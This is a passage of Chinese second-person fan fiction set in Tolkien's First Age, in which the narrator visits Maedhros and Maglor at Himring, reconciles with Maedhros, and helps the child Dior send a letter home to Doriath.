你诚实回答:“是啊。” “那不是我们劫持的,是凯勒巩送来的。”玛格洛尔三言两语就将自己和哥哥迈兹洛斯的责任摘得干干净净的,听上去就像是凯勒巩的错,“我希望你能别因此误会我们。” “这么听来似乎都是凯勒巩的错了。”你说。 被你忽略的迈兹洛斯又说:“怎么,你现在都已经站在辛葛那边了吗?我早已不指望你能够对我们有什么偏向了,但是至少不要恶意揣测我们。” 神奇的是你居然从他的话语里听出几分委屈,像是在埋怨你,认为你背叛了他。 而你还什么都没说呢,也没有表明自己的立场,他就自顾自地认为你在偏向辛葛。 天地良心,但凡你真的偏心辛葛就不会在这里和他们浪费时间了,于是你反问道:“你没有任何证据怎么就开始污蔑我了呢?” 迈兹洛斯抿抿唇,唇线绷直,就如同他现在的心情一般紧绷。 他对你所说的话,更像是某种应激反应。 你也没空和他们废话,就说:“那个孩子在哪里?” 迈兹洛斯没有马上回答,你皱眉,难不成他们真的已经对那个孩子下手了吗? 不,这个可能性很微弱,虽说迈兹洛斯因为誓言的折磨现如今性情大变,但也还没有疯狂到那种地步,于是你又重复一遍,“那个孩子呢?” “他应该正在午睡。”玛格洛尔回答了你的这个问题。 在午睡? 你还以为他们就算没有杀害那个孩子估计对待他也不会好到哪里去,但玛格洛尔的回答和你想的不太一样。 “我不太明白你的意思。” “意思就是,他刚刚上午在上课,下午就在午睡,今天的天气阴沉沉的,估计会睡好一会。”玛格洛尔补充道。 现在你是真的要好好整理一下自己的思路了,听玛格洛尔说这话,你都要以为他们在帮着露西恩养孩子了。 “上课?”你又疑惑道。 “就是上课,他在这里学到了很多东西,很抱歉你所预想的事情都没有发生。”迈兹洛斯嘲讽道。 你说:“那我能去看他一眼吗?” 迈兹洛斯双手环胸,“你现在的身份不是希姆凛的客人,你是不速之客。” 有必要那么斤斤计较吗?你学着迈兹洛斯的样子看回去,说:“是么,那你现在要把我给抓起来吗?还是说要送进地牢里,尊贵的精灵王陛下?” 你那点好脾气都被迈兹洛斯的阴阳怪气给磨没了,既然他对你的态度不好,你也没必要热脸贴冷屁股。 你只是来这里解决问题的。 迈兹洛斯看你主动挑衅,脸色变得更加难看了,关键时刻还是玛格洛尔出来打圆场,他说:“我想苏尔的意思是来拜访你,顺便再来看看迪奥。” 行吧,玛格洛尔这么翻译你的回答也行。 “这里不欢迎你。”迈兹洛斯沉默了好一会才憋出这一句话,对你的杀伤力几乎为零,你甚至还觉得幼稚好笑,你强忍住没笑出来,说:“如果你真的不欢迎我的话,那我现在就离开。” 眼看你真的转身要走,迈兹洛斯又有些着急了,他忙不叠地说:“走?希姆凛是你想来就来想走就走的地方吗?” 真是什么话都被他给说了。《 》 70-73 第71章 “我不是你的陛下。” 你回过头, 似笑非笑地问道:“那你到底想要怎样呢?” 被你这么一问迈兹洛斯反而无语凝噎,你和他相顾无言,最后他说:“那就留下来。” 早这么说不就好了吗?非得要绕这么一大圈,你说:“那你应该从一开始就对我这么说的。” 迈兹洛斯紧抿着嘴唇,似乎在懊恼自己刚才为什么要说这话,可能是因为看你的样子是真的要走吧。 一旦你离开了,就再难找到你了,也不知道下次再和你见面又是什么时候。 所以不能让你离开,哪怕是动用特殊手段也要让你留下来。 此时的你还不知道迈兹洛斯心里这些弯弯绕绕,你只是觉得他的表情很微妙而已,你说:“我可以留下来, 但你得要答应我一些事情。” 迈兹洛斯又说:“你在向我提条件?”在他的地盘上,而且在你抛弃他以后? 为什么你能够理所当然地说出这种话呢? 更可怕的是他居然下意识就想要答应你的条件了,尽管你现在还没说什么。 这种思维惯性让他心头一惊,他时刻提醒自己不能掉入你的陷阱里,于是乎他又摆出一副强硬的姿态,“你要清楚,这里是我的领地。” 你眨了眨眼睛, “我知道啊, 你是这里的君主, 而且还是诺多至高王呢。” “那你……身为一个不速之客还胆敢对我提条件?” 自你和迈兹洛斯相遇起他对你的态度都算温和,哪怕你当初在作战会议上索要芬巩,他也只是生气归生气,至于重话,也没说多少,所以你才会觉得迈兹洛斯现在强行装出来的尖锐态度很搞笑。 明明差点就要答应了的吧,还得要皱着眉摆出一副咄咄逼人的态度,你就像是个欣赏蹩脚演员表演的观众。 那你就勉为其难地配合一下吧,你转而对一旁的玛格洛尔说:“那你可以帮帮我吗?” “你都还没有回答我的问题就和他说话,你到底有没有把我放在眼里?”迈兹洛斯这是真的有点生气了,这段都不属于表演,完全就是真情流露了。 这可不是你故意挑起他们兄弟之间的矛盾的啊,你看了看玛格洛尔,后者也无奈,他对迈兹洛斯说:“那你不妨听听苏尔要提什么条件吧?” 给台阶给到这份上迈兹洛斯总该顺着台阶往下走了吧? 迈兹洛斯说:“好,那你就说说看,你的条件是什么?” “也没什么,就是想要劝说你们把迪奥给送回去。” “哈——我就知道你是站在我们的对立面的!”迈兹洛斯冷哼一声。 你单手叉腰,反问道:“难不成你就那么喜欢给别人养孩子吗?” 似乎也看不出来他喜欢小孩子啊,你心里直犯嘀咕。 “是又怎样?倘若我有自己的孩子,那我也会好好照顾那孩子的。” 不对啊,话题怎么开始跑偏了,你想劝说他把人孩子给送回去,结果他直接偏题到如果自己有了孩子会怎么做。 关键是这是一回事吗? 阅读理解的角度要不要那么刁钻啊? 你说:“这和你那不存在的孩子毫不相关。” “也是,毕竟就连恋人也有可能背叛我,我又能期待什么呢?” 这句话才是他真正想说的吧?不就是在埋怨你当初一走了之吗? 要不要那么幽怨啊? 你说:“就事论事,你跑题了。” 迈兹洛斯深吸一口气,又说:“是辛葛先一步夺走了属于我们的宝钻,这是他应得的惩罚。” 一段时日不见他怎么变得这么倔脾气了?你撇撇嘴,朝着玛格洛尔递去一个眼神让他劝说一下自己的哥哥,但他也无能为力。 最后交涉下来听迈兹洛斯的意思是让你暂且在这里住下来,至于送迪奥回多瑞亚斯的事情,他没答应,但也没有斩钉截铁地否决,所以你还是觉得有些希望的,只要迈兹洛斯的态度软化,这场事关费诺里安与辛葛的纠纷应该能够避免。 你感觉自己好像中土大路上的调停者,调完这个调那个,总是有数不清的麻烦。 唉,你在去客房的路上叹息一口气,走在你身边的迈兹洛斯当即就问:“你就那么不情愿么?” 不是吧,要不要那么敏感啊? 你说:“没有,只是发现我们这次见面都没好好地,心平气和地说过话,你最近过得怎么样?” 迈兹洛斯沉默了一会,就在你以为自己又说错话惹怒他的时候,他说:“不怎么样。” 你侧过头去看他的侧影,看他低垂的眉眼,看他失落的神色。 “誓言的折磨很痛苦吗?” “我所遭受的折磨不仅仅是誓言带来的,你对此应该很清楚。” 又开始夹枪带棒了,你暂时打消了和他好好谈话的念头,或许只有时间才能抚平他心中的愤恨,你所能做的就是保持安静,走到自己的房间,然后和他道谢。 没等你说下一句话迈兹洛斯就马不停蹄地离开,你凝望着他的背影。 好吧,估计是又在闹别扭了,但他自行离开也有好处,至少你不用想话题了。 精灵准备的客房宽敞亮堂,就是此时屋外还在阴雨连绵,要是晴天肯定会更加明亮的。 你先换了一身衣服,又休息了一会,顺便再思考接下来的对策。 在你休息的时候迈兹洛斯和玛格洛尔还在处理领地内部的事务,迈兹洛斯明显心不在焉,细心的玛格洛尔发现了这一点,就说:“如果你需要休息的话,这些工作就交给我吧。” 迈兹洛斯没答应,他说:“我还好。” “但你的样子看起来不是还好,刚才苏尔又对你说了什么吗?”玛格洛尔问道。 你刚才吗?迈兹洛斯将手里的羽毛笔放下,斟酌用词,说:“没什么。” “真的只是没什么吗?” 玛格洛尔隐约捕捉到自己的兄长叹息一声,而后用失落的语气说:“她问我过得怎么样,现在突然这么问,为什么之前她却不为所动呢?” 他在埋怨你之前的不作为,可是就算再怎么埋怨也无法改变已经发生的事情,迈兹洛斯的不甘心,他是怨恨落在你身上都是轻飘飘的。 他毫不怀疑一旦你的耐心耗尽就会没有一丝一毫犹豫地离开,正如同你当初所做的那样。 “我们都了解她的性格,老实说她现在能够主动找上门来已经是意外之喜了。”玛格洛尔表现得更平静一些,但也只是表面上的平静而已,他的内心也在暗流涌动,他们交换一个眼神,纷纷从对方的眼里看到了相同的想法,那就是留下你。 只不过该怎么留下你那就是另外一个值得深思熟虑的问题了。 “要用草药削弱她的感知力吗?”玛格洛尔淡淡地说,只是影响你的感知而已,不会对你造成伤害。 迈兹洛斯却直皱眉,“你要对她下药?” “只是一个提议而已。”将香薰替换成草药,燃烧释放的气味可以削弱感知,但看迈兹洛斯的意思估计是否决了这个提议,玛格洛尔又说:“那就想想别的方法吧。” 时间过得很快,你来希姆凛的当天晚上是在房间里用晚餐的,有精灵专门来给你送晚餐,这样倒是省得你还去餐厅了。 你休息了一晚上,隔天早上天空放晴,阳光灿烂得透过窗帘撒向你的房间,你被阳光晃了眼,慢悠悠地醒来,然后再起床,一切都和往常差不多。 除了你到餐厅的时候看见了坐在迈兹洛斯和玛格洛尔身边的年幼精灵迪奥,其实你也不太确定他到底算是精灵还是人类,毕竟他的血脉太复杂,祖母还是迈雅呢,你姑且把他当成精灵吧,毕竟他的长相和你接触过的多瑞亚斯精灵很像。 “您就是苏尔女士吗?”迪奥颇有礼貌地先和你打招呼,一旁的迈兹洛斯装作没看见你,端起水杯装模作样地喝茶,你说:“你就是迪奥吧?” 玛格洛尔示意你在旁边的空位置坐下,正好你可以借此机会接触这个被留在希姆凛的人质。 迪奥穿着干净整洁,头发柔顺蓬松,一看就是平日里都有被好好照顾的样子,更重要的是他的眼神,是轻松愉快的。 确实没有人质该有的样子,不说他是人质你还当真会以为那是迈兹洛斯的孩子。 你伸手抚摸他的头发,问道:“看来你在这里过得不错。” 对面的迈兹洛斯轻咳一声,你看向他,“怎么了,陛下你身体不适吗?” 迈兹洛斯一听就知道你是存心用这种生疏的敬称来挑衅他的,他说:“我不是你的陛下。” 迪奥也不知道发生了什么,在他看来就是刚才心情还不错的迈兹洛斯一碰见你就开始生气,而且还不是那种普通的生气,是难以言喻的。 他愣愣地眨了眨眼睛,玛格洛尔说:“先用早餐吧。” 你就开始认真吃早餐,在此期间迈兹洛斯还在试图说些什么,但嘴唇动了动,什么都没说。 在早餐快要结束的时候玛格洛尔让迪奥先走,并对他说:“你先去书房上课,我们还有别的事情要处理。” 在迪奥走后迈兹洛斯才说:“陛下?你非得要说这些话来激怒我是么?” 第72章 现在你的出现让他看到了希望。 没成想你随口说的一句话还会让迈兹洛斯那么生气,你放下水杯,说:“既然你都说这是你的领地,那我自然也会认为你在向我强调你的君主身份,我那么称呼你也没有什么不对的。” 你说得看似有道理, 竟令他一时之间都不知道该如何反驳, 玛格洛尔说:“刚才你也看见那孩子了,总能够相信我们先前说的话了吧?” 毫无疑问, 玛格洛尔是在转移话题,你说:“相信了。” 气氛并没有因为玛格洛尔的努力而缓和,因为迈兹洛斯还很在意你说的话,他皱着眉,说:“你倒是很喜欢和玛格洛尔说话。” 不至于吧,就连他弟弟的醋也吃吗?你依稀记得他以前可是非常宽容大度的啊, 难道被誓言折磨还会变得心胸狭窄吗? “可能是因为他说话比较和煦吧。” 这话明摆着就是在说他咄咄逼人,迈兹洛斯神色阴郁,他清楚你来这里的目的就是为了带走迪奥,也是为了阻止争端,他能够理解,但情感上不能接受,你只是出于这个目的才来见他的。 难道你就没有哪怕一点点的对他的怀念吗? 迈兹洛斯双手环胸, “我不会交出他的。” 你站起身,嘴角带笑, “我本来也没打算征得你的同意。” 言下之意就是他拒绝也没用。 迈兹洛斯迎上你的目光, 与你四目相对,你的眼神明亮, 有一瞬间他都要担心自己会被你那蓬勃的生命力灼伤, 可又不由自主地想要向你靠近。 就如同飞蛾扑火。 最终这位诺多君主垂下眼帘, 锐气收敛几分,“你倒是很有自信,甚至还在挑衅我。” 得了吧,自打你出现在他面前无论说什么做什么都像是在挑衅他,他对挑衅的定义实在是太宽泛了,要是再夸张一点估计就连你呼吸也在挑衅他。 “你就没有别的事情要做吗?”你好意提醒道,迈兹洛斯说:“我怎么能保证你不在我工作的时候做些什么呢?” 想黏在你身边就直说,别叽里咕噜地说些有的没的,你一针见血地戳破他的真实想法,“其实你就是想要待在我身边吧?” 迈兹洛斯的呼吸发生改变,看样子就是被你给说中了,你笑意更浓,说:“怎么,我说中了?” “是又怎样?你又要借此机会嘲讽我一番么?” 想象中的嘲讽并没有出现,你只是很平静地注视着他,过了一会才说:“不,我不想嘲讽你,只是觉得你现在是特殊时期而已。” 毕竟他身上还带着誓言的折磨,所以你表示理解。 听到你那么说的迈兹洛斯也没有多开心,反而心里闷闷的,有种说不出来的感觉。 你走出餐厅,玛格洛尔问道:“你不跟上去吗?” 迈兹洛斯现在反倒是有些犹豫了,他说:“……她到底是什么意思?” “我也不是人类,无法知晓她内心的想法,所以我的建议是你不妨直接询问她,总好过你自己在这里一个劲的琢磨。”玛格洛尔是发自内心地提出这个建议的。 最终迈兹洛斯也站起身,急匆匆地走出餐厅,追寻着你的脚步。 你走得很慢,似乎是料定了他会追出来,还在特意等他,听到他的脚步声就站定脚步,回过头,说:“那么着急做什么?” “没什么,我就是想问你几个问题而已。” “好啊,那你问吧。”你表现得格外坦荡。如此一来,迈兹洛斯就成了那个犹豫不决的人了,他说:“你已经对我感到厌弃了吗?” “没有。” “你有想念过我吗?哪怕是只有一刻。”他把条件放得很低。 你说:“那肯定不止一刻了。”你在听埃欧尔说起迈兹洛斯和辛葛之间的纠纷时候就已经想过很多次了,虽然这样的想念可能和迈兹洛斯期待的有些不一样,但就说是不是想念吧。 迈兹洛斯对这答案很满意,他紧绷的气势也跟着放松下来,眉眼舒展,说:“那你要什么时候带走他?” 嗯?不是吧,他居然这么好说话的吗?你还以为自己得要动用武力手段才能把迪奥给带走的呢。 早知道这样你一见到他就该说些好听的话,直接说服他就行了。 果然嘴遁就是最厉害的! “这个嘛,我也不太确定。”你说得模棱两可,虽说迈兹洛斯的态度有所软化,但也不排除他突然变卦的可能,所以你也没有把话说得太死,还处在试探阶段。 迈兹洛斯顺势说:“既然这样,那你就在这里多待一会好了。” 表面上勉为其难,实则期待。 你答应下来,“好啊。” “对了,怎么不见凯勒巩他们?” “要是他来了肯定又要闹得希姆凛鸡飞狗跳的。”当初凯勒巩带着那个孩子回来就给希姆凛带来了不小的麻烦。 “那倒也是,这样看来还是和你相处比较安定一些。”你又把之前的问题重复一遍,“这些年你过得还好吗?” “算不上多好,不过也没有那么差劲。”因为他总觉得自己日后还会和你见面的,所以哪怕再怎么痛苦,仍然有希望陪伴着自己。 事实证明他的直觉非常准确,他也确实再次与你见面。 他又问:“那你呢?” 你这些年过得怎么样呢? 闻言,你的唇角上扬,笑着说:“还算有趣吧。” 反正比他们精灵有趣多了,你常年混迹在人堆里,基本上每到一个地方就会换一个身份,套上新的马甲,生活要多自在有多自在,比起他们精灵一直守在自己的领地上,你还是觉得这样的生活更加随心所欲。 而且你都已经开始物色下一个落脚点了,等到这次的事情结束以后你大概会避世而居一段时间,这里说的一段时间指的是几百年吧。 你还说起自己去过一个泰勒瑞精灵的宫殿,迈兹洛斯在意地问那个精灵的名字是什么,那架势就像是要去找对方算账似的。 “你也不用太担心,我和那个精灵相处得还算愉快。” 你和哪个精灵相处得不愉快呢?他的脑海里忍不住发出这样的疑惑。 但他也只是在心里这么想想而已,没有说出口。 他又听说你后来遇见了芬罗德,他离开纳国斯隆德在大陆上游荡的事情迈兹洛斯也有所耳闻,只是没想到他居然还先一步数与你重逢了。 迈兹洛斯说:“那还真是巧合,你才离开没多久就遇见了他。” 别以为你没有听出他话里话外的阴阳怪气,你心说他们俩不是都已经打过一架了吗?怎么现在还是那么针锋相对呢? “哦对了。”你说,“他还让我代他向你问好。” “问好?恐怕他想说的可不止这些吧。” 芬罗德真的想要说什么那你就不得而知了,你说:“这个嘛,我就不清楚了。” 在你和迈兹洛斯的谈话间玛格洛尔也离开餐厅,只不过他没有介入你们两个的对话而是走另外一条走廊去到书房,迪奥已经在书房里等待了有一段时间了,但他很有耐心,在玛格洛尔来之前他都在认真看书。 “抱歉,让你久等了。”玛格洛尔来到书房以后第一时间就是向迪奥说抱歉,后者抬起头,说:“是因为发生了什么吗?” 刚才在餐厅的时候他就能够感觉到你和迈兹洛斯之间的不寻常气氛,直觉告诉他你们之间的关系应该不简单,只不过玛格洛尔好像没有要细说的意思,他说:“确实发生了一些事情,但你不用担心。” 迪奥若有所思,他说:“那个客人,和迈兹洛斯大人是什么关心呢?” 眼看对方似乎要追问到底,玛格洛尔就说:“你对此很好奇吗?但有的时候好奇心对你可能没什么好处啊。” 迪奥抿抿唇,“我还挺喜欢那位客人的。” 玛格洛尔笑了一下,“是么,她确实很招精灵喜欢,你会喜欢她倒也不奇怪。” 然后玛格洛尔就开始上课了,但迪奥全程都有些心不在焉,他的心思都落在你身上,在好奇你和迈兹洛斯的关系,好奇你究竟是什么来历,更加好奇你来这里的目的是什么,难道说真的只是来做客的吗? 等到临近下课的时候迪奥合上书,侧过头对正在收拾桌子的玛格洛尔说:“老师,你好像对那位客人很了解的样子。” 此话一出,玛格洛尔的动作顿了顿,是很明显的僵硬,从这一个细节就足以看出迪奥说中了。 “我更希望你把这份好奇心放在学习上面,而不是问这些,是你觉得我布置的作业难度不够高吗?我会好好考虑之后的作业安排的。” 迪奥意识到自己说错话了,但是现在反应过来也晚了,因为对方已经决定给自己增加作业量,他只能叹息一口气。 只不过他的好奇心并没有因为作业量的增加而消减,甚至变得更加旺盛。 毕竟他不可能一直待在希姆凛,他总得要回到多瑞亚斯,回到他的父母身边,哪怕现在不能回去,至少也得要努力给他们写一封信,让他们知道自己现在很安全。 之前他曾经试探性地问过迈兹洛斯亦或是玛格洛尔这样的问题,但他们的反应不出所料,都是毫不犹豫的拒绝。 现在你的出现让他看到了希望。 第73章 “有的东西是比爱情还要重要的。” 迈兹洛斯对你的态度软化后你也暂且在希姆凛住下来,老实说你虽然在此之前来过几次,但顶多就是留宿一晚,而且每次都是带着目的来的。 也不知道迈兹洛斯是怎么和其他精灵吩咐的,总之你遇到的精灵对你的态度都十分友好,甚至可以说是热情好客的,就像是在尽可能地把你给留下来。 感觉都有点热情过头了,你想。 本来你还打算找个机会去见一见那个名叫迪奥的孩子的, 但没成想他自己主动找了过来,他遗传了母亲露西恩的美丽,同时还有精灵坚定不移的品质,在花园见到你的时候他还颇有礼貌地对你微微俯身行礼, 说:“苏尔小姐,午安。” 你看他的样子就不像是与你偶遇, 倒不如说是特意在这里与你见面的, 但你并没有戳穿这一点, 而是礼尚往来地说道:“午安。” 在简短的问好后迪奥的表情若有所思,仿佛在酝酿什么,又过了几秒,他终于鼓足勇气,说:“我听说……您之前接触过多瑞亚斯的精灵。” 果然,你就知道他特意找你聊天肯定是带着什么目的的。 从某种程度上来说他的目的与你的不谋而合了,你说:“是啊, 我曾经去过几次多瑞亚斯, 只不过那个时候还没有你。” 那时候他的母亲露西恩都还没和他的父亲贝伦相遇呢。 迪奥从你的三言两语里读出你或许会帮助自己,他说:“其实我有一件事情想要请求您。” “那你不妨说说看。” 迪奥斟酌用词, “我来到希姆凛已经有一些时日了, 我的双亲还不知道我现在的处境, 所以——” 他顿了顿,你接上话头,“那你想要离开这里吗?” 出乎意料的是他摇了摇头,说:“不,我不能这么麻烦您。”尽管他知道你和费诺里安的关系不错,但若是你把他从希姆凛带走,恐怕对方也会认为你这是背叛了他们,甚至大概率会给你惹来杀身之祸,因此就算他再怎么思念自己的父母,他也不能这么做。 “那你想让我做什么呢?”你又问道。 “我只是希望您能帮我送出一封信而已,除此之外别无所求。” 听上去只是个很小的请求,你看他之前的阵势还以为是要直接让你把他带回到多瑞亚斯呢,凭你的实力也不是做不到,甚至还能说很轻松,毕竟迈兹洛斯那边都已经有要松口的迹象了,你再推波助澜一下,就能够顺利地达成自己的目的。 “只是这样吗?” 迪奥点了点头,说:“是的,只是这样。” 你爽快地答应下来,反正是小事一桩,但你的承诺却让迪奥松了一口气,他认真地说:“真的……实在是太感谢您了。” “感谢什么?”迈兹洛斯的声音突兀地挤进你和迪奥的对话中,也不知道他都站在暗处窥视了多久,那么的悄无声息,如同一缕幽魂,你顺着声音看去,瞧见站在长廊上的迈兹洛斯,只见他面无表情,眼睛一眨不眨地盯着你和迪奥。 你轻轻地拍了拍迪奥的肩膀,示意他不用担心,你是最擅长应付这种精灵的了,你说:“没什么,倒是你,怎么站在那里一声不吭呢?这样很吓人的啊。” 迈兹洛斯又盯着你搭在迪奥肩膀上的手,他说;“我也才来这里没多久。” 其实你这样的问题他没必要那么如实回答,完全可以一笔带过,毕竟这里是他的领地,理论上来说他想在哪里就在哪里,没有谁能够管束他。 但他还是下意识地回答你的问题,这几乎已经成为一种本能。 话说出口后迈兹洛斯才察觉到不对劲,但是想要收回已经太晚了,他最后只能对迪奥说:“你下午的课程快要开始了。” 言下之意就是让他先行离开,迪奥会意,当即离开花园,但在走之前仍旧略带忧虑地瞧了你一眼,似乎是在担心阴晴不定的迈兹洛斯会迁怒于你,你对他摆摆手。 实际上现在的迈兹洛斯不能说是生气,他的心情更多的应该说是郁闷。 没错,就是郁闷,心里有种说不上来的闷闷的感觉。 在迪奥走后他就说:“你和他好像相处得很不错。” 是在阴阳怪气吗?还是真心实意的发言?你更倾向于后者,你说:“刚才的对话估计你听到的内容应该不少吧?” 迈兹洛斯也不否认,“是,那又如何?” 你穿过花园小径来到他面前,他因为你主动的靠近反倒产生几分不安,他尽可能克制住自己想要牵起你的手,亦或是拥抱你的想法,用冷淡的口吻质问:“你知道自己这么做的后果是什么吗?” “大不了就是你会生气。”你说得漫不经心,好像根本没把他放在心上似的。 “既然你都知道后果,那为什么——” “但你的生气来得快去得也快,而且无论我做什么你都会原谅我的不是吗?” 非常突兀地,迈兹洛斯抓住你的手腕,然后拥抱着你,与其说是拥抱,倒不如说是他将自己的身躯依靠在你的身上,你眼角的余光扫到阳光拖出的影子,你们俩的影子交叠在一块。 面对他突如其来的拥抱你的反应从容淡然,甚至还拍拍他的后背,说:“那你现在还在生气吗?” 迈兹洛斯将自己的脑袋靠在你的颈窝里,许久没有出声,就在你以为他会跳过这个问题的时候他才忽然开口,说:“你总是能用各种手段让我包容你。” 毕竟你之前都已经差点把他的好感度给刷满了,这就是好感度的含金量了,你笑盈盈地说:“这也没什么不好的不是吗?” 过了一会,你的耳边传来迈兹洛斯的叹息,很轻很浅的叹息,“对你来说是这样的,但是我对来说……这也是一种折磨。” “其实你也有过让他回多瑞亚斯的打算,我现在的所作所为也不过是顺水推舟而已。” 也不知道他拥抱了多久,所幸的是在此期间都没有其他的精灵路过这里,当然有可能是因为迈兹洛斯事先提醒过其他的精灵。 看在他态度柔和的份上,你对他的耐心也很充足,最后是他松开手,但你们之间的距离仍然很近,他那柔顺蓬松的红发垂在肩头,额角还有侧脸的碎发稍显凌乱,“那作为交换你也得要在这里多住一段时间。” “可以啊。”反正你也不着急离开,现在的迈兹洛斯逐渐变回你记忆中的模样,就连希姆凛的其他精灵也发觉到了这一点,那就是他们的君主情绪都稳定了不少。 迪奥很快就将自己给父母的信写好,而后送到你的手上,完成这一系列动作后他没有马上离开,而是问道:“迈兹洛斯大人有为难您吗?” 估计这些天他一直都在担心这件事情,你说:“没有,我们的关系很好。” 闻言,迪奥仔细观察你的表情,试图从你的微表情里确认你说的是实话。 好像你说的是真心话,他又再三向你表示感谢,你听得耳朵都要起茧子了,就说:“你也不用那么感谢我,毕竟我这么做也是有原因的,对我也是有好处的。” 迪奥却说:“这并不妨碍我对您的善意之举心怀感激。” 好吧,露西恩和贝伦的孩子还真是懂礼貌。 你在送走迪奥后,另外一道身影从你身后走出,是迈兹洛斯,虽然之前还在对你说着不客气的话,但他后来还是自然而然地来到你的房间,然后住下。 心口不一的精灵是这样的。 刚才你和迪奥聊天的时候他就沉默地站在阴影里目睹全过程。 你手里还拿着信,回过头对迈兹洛斯说:“你和玛格洛尔倒是教会了他不少道理。” 迈兹洛斯注视着你手中的信,他知道这封信送到多瑞亚斯肯定会掀起轩然大波的,但他最终还是收回视线,装作什么都没看见,默许了你的行为,他说:“你这是在夸奖我们这两个劫持犯?” “迪奥他不是那么认为的。” “那只能说他太天真了。” 你把信件交给信鸽送出去,旋即转过头对他说:“你为什么就不承认你其实也没有自己想的那么糟糕呢?” “如果这样的话就能留下你了吗?” 他还真是擅长一句话把天给聊死啊,非得要哪壶不开提哪壶,你说:“这个嘛……” “我们还是不要聊着话题了吧。”出乎意料的,迈兹洛斯主动终止这个话题,因为他知道再这样说下去他和你之间肯定又会爆发一场争吵,让你们好不容易修补的关系又变得破碎不堪。 他的决定是明智的,你也打住自己接下来要说的话。 你们四目相对了一会,最后你对他张开手臂,主动拥抱他,说:“有的东西是比爱情还要重要的。” “自由对吗?”迈兹洛斯的声音含糊不清,你撇撇嘴,这话确实有点老套,但也确实符合你现在的想法,你说:“是啊。” “那我会尊重你的自由。”他说。《 》 【正文完】 第74章 那个时候你的身边又多出了那个名叫莱戈拉斯的精灵。 迪奥写的那封信借由信鸽送往多瑞亚斯, 最后被送到露西恩手上。 “这封信是……?”与此同时陪伴在露西恩身边的美丽安问道,露西恩笑着说:“是迪奥的字迹,他说他没事。” 言语间露西恩泪光闪烁,不过那是庆幸的泪水,美丽安若有所思,毕竟她当初遇见的未来里似乎没有这一幕,除非是发生了什么导致命运发生偏移。 过了几秒,美丽安忽然想到了什么,倘若说有谁能够改变命运的话,她的心里只有一个人选,那就是你了。 美丽安缓慢地眨了一下眼睛,神色放松,语调也柔和, “迪奥都在信里写了什么?” 露西恩将信纸递给美丽安,后者看完信,说:“看来费诺里安并没有折磨他。” 非但没有折磨,甚至将他当成自己的孩子来对待,这是美丽安未曾料到的,可尽管如此,辛葛也不会轻易放过对方,露西恩握住母亲美丽安的双手,说:“希望您能劝劝父亲大人。” 哪怕露西恩不那么说美丽安也会做的,她的视线眺望远方,望向遥远的北方,隐约间她似乎真的看见了远方希姆凛瞭望塔闪烁着微弱的灯光。 此刻的希姆凛算得上平静祥和, 得益于你的到来, 迈兹洛斯的性情也稳定了许多, 甚至就像是回到了从前。 在迪奥的信件送出去没多久就收到了回信,这封回信也是在迈兹洛斯的默许下才被送到迪奥手上的,把信送给他的不是别人,正是你。 “这是从多瑞亚斯寄来的信。”你说。 迪奥的脸上明显浮现出激动的神色,但他还是有礼貌地先向你说谢谢而后才从你手里接过那封信。 你看着他认真阅读信件,看完以后他深呼吸一口气,“……这样应该就没什么大问题了。” “今天你有什么安排吗?”你记得今天迪奥好像放假,他也不是天天都上课的。 “……应该会去森林里坐一会,您呢?” 你吗?估计就是无所事事地在希姆凛里游荡了,这种什么事情都不需要做的感觉可真好啊。 现如今你和迈兹洛斯的关系不能说完全回到从前,但至少也没有你刚来这里的时候那么僵硬了,这其中更多的是依靠迈兹洛斯的自我调节,反正你是没怎么努力的,全靠他自己。 从迪奥的书房离开,你在路过花园的时候还摘了一束花,顺手带去迈兹洛斯的房间,此时的他应该还在开会,你就直接去他的房间,一点也没把自己当外人,采摘的淡粉色郁金香被你放入花瓶里,你还调整每一枝花的角度。 感觉差不多了才收手。 “你不打一声招呼就进我的房间吗?”身后传来迈兹洛斯的声音,你回过头,没有半点心虚,相反地,你显得格外坦然,说:“看你的房间似乎缺少花束,所以就送了一点花过来。” 你说得随心所欲,就像是心血来潮的行为,哪怕对方是希姆凛的君主,你也没有半点畏惧的意思。 “我记得你在开会的。”总不可能那么巧合地恰好在这时候结束了,然后他又恰好地回房间撞见你吧? 巧合太多就代表多是有意之举。 “会议差不多已经进入尾声了。”迈兹洛斯不着痕迹地避开这个话题。 “噢……那还真巧啊。”你笑盈盈地说,迈兹洛斯听出你的言外之意,就又解释道:“你别想太多。” “嗯,我没想多。”你点点头。 迈兹洛斯欲言又止,最后只说了一句“算了”,和你相处他总是占据被动位置,他已经认清现实。 见状,你又对他伸出手,说:“既然会议已经结束了,那么就出去走走吧,难不成你要一直闷在这里?” 他似乎从来没有真的拒绝过你,以前不会拒绝,现在更是难以拒绝,所以他听从自己的本能握住你的手,任由你牵着他往外走去,今天的天气不错,万里无云阳光灿烂。 这个世界最大的好处就是因为还没建立起完整的工业体系,所以大自然基本上都没有被污染,景色都是货真价实的山清水秀。 而且空气也很新鲜,只是行走在草原上就让人心情放松,你的嘴里甚至还哼着轻快的小调子,迈兹洛斯一时之间分辨不出这到底是哪一首歌,也有可能是你随意杂糅的曲调。 你轻轻地,小幅度地摇晃着牵着他的手,就像是被你的轻松愉悦心情感染,迈兹洛斯的唇角也微微上扬。 “果然你笑起来会更好看一些。”你说。 “如果论长相的话,我自然是没法和真正美丽的精灵相比较的。”他指的是自己那些堂弟。 不是吧,直到现在他也还在纠结这些吗?你还以为这事情早就已经过去了呢,你说:“但你是独一无二的存在。” 实际上你对任何一个精灵都会那么说,毕竟每个个体都是独一无二的不是吗? 迈兹洛斯倒是很喜欢听你这么说。 “我对你来说是独一无二的吗?”他再次向你求证。 “对,没错。”你还是一如既往地说话脸不红心不跳的。 你们穿过平坦的草原,走到树荫下,你坐在大树露在地表的树根上,忽然发现了什么,你微微眯起眼睛,发现远处的宫殿外围的装饰砖墙在阳光的照射下呈现出流光溢彩的效果,和你当初设想的极为相近。 你之前在听说他要建立自己的王国和宫殿后就带着玩乐的心态画了几张草图,是真的非常潦草的草稿,这只是你心血来潮的举动而已,但没成想他居然真的参考了你的草稿,这让你的心情莫名变得有些复杂。 “我之前画的草稿你没有丢掉吗?”你似是无意地问道。 “你给我的东西我都没有丢掉过。”他淡淡地回答。 从他的话语里你莫名听出一丝丝的可怜,也许在你当初离开的时候他也会认真翻看你的草稿图,试图从你潦草的笔迹里读出你的真实想法,那个时候的他又是怀着怎样的心情的呢? “是吗……” “你也没必要为此感到负担,我那么做只是我想要这么做而已。”如果他想的话,他大可以在情感上绑架你,但他没有,他把这两者的界限分得很清楚,他的想法,他的感受不能成为威胁你的手段。 你顿了顿,侧过头,他就坐在你身边,表情严肃,仿佛在申明什么。 “是吗,那听你这话我就会一点负担都没有的啊。” 